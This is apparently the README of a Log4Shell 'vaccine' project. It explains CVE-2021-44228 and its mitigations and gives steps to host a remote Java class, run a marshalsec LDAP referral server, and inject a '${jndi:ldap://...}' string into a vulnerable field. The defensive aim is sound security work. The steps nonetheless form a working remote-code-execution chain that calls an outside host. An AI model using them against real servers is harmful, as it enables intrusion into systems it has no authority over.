A vulnerability impacting Apache Log4j versions 2.0 through 2.14.1 was disclosed on the project’s Github on December 9, 2021. The flaw has been dubbed “Log4Shell,”, and has the highest possible severity rating of 10. Software made or managed by the Apache Software Foundation (From here on just "Apache") is pervasive and comprises nearly a third of all web servers in the world—making this a potentially catastrophic flaw. The Log4Shell vulnerability CVE-2021-44228 was published on 12/9/2021 and allows remote code execution on vulnerabe servers.
While the best mitigation against this vulnerability is to patch log4j to
2.15.0 and above, in Log4j version (>=2.10) this behavior can be mitigated by
setting system property log4j2.formatMsgNoLookups to true or by removing
the JndiLookup class from the classpath.
Additionally, if the server has Java runtimes >= 8u121, then by default, the
settings com.sun.jndi.rmi.object.trustURLCodebase and
com.sun.jndi.cosnaming.object.trustURLCodebase are set to “false”, mitigating this risk.
However, enabling these system property requires access to the vulnerable servers as well as a restart. The Cybereason research team has developed the following code that exploits the same vulnerability and the payload therein forces the logger to reconfigure itself with the vulnerable setting disabled - this effectively blocks any further attempt to exploit Log4Shell on this server
You can learn more here
The payload and exploit below use the java runtime to reconfigure the logger.
Prior to reconfiguring the global setting
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS is set to True, disabling message
format lookups and preventing further exploitation of this attack
-
Download this report and build it
1.1
git clone https://github.com/cybereason/Logout4Shell.git1.2 build it -
mvn package1.3
cd target/class1.4 run the webserver -
python3 -m http.server 8888 -
Download, build and run Marshalsec's ldap server
2.1
git clone https://github.com/mbechler/marshalsec.git2.2
mvn package -DskipTests2.3
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<IP_OF_PYTHON_SERVER_FROM_STEP_1>:8888/#Log4jRCE" -
To immunize a server
3.1 enter
${jndi:ldap://<IP_OF_LDAP_SERVER_FROM_STEP_2>:1389/a}into a vulnerable field (such as user name)
The code described in this advisory (the “Code”) is provided on an “as is” and “as available” basis may contain bugs, errors and other defects. You are advised to safeguard important data and to use caution. By using this Code, you agree that Cybereason shall have no liability to you for any claims in connection with the Code. Cybereason disclaims any liability for any direct, indirect, incidental, punitive, exemplary, special or consequential damages, even if Cybereason or its related parties are advised of the possibility of such damages. Cybereason undertakes no duty to update the Code or this advisory.
The initial repo and inspiration for this work is based on the work of tangxiaofeng7/apache-log4j-poc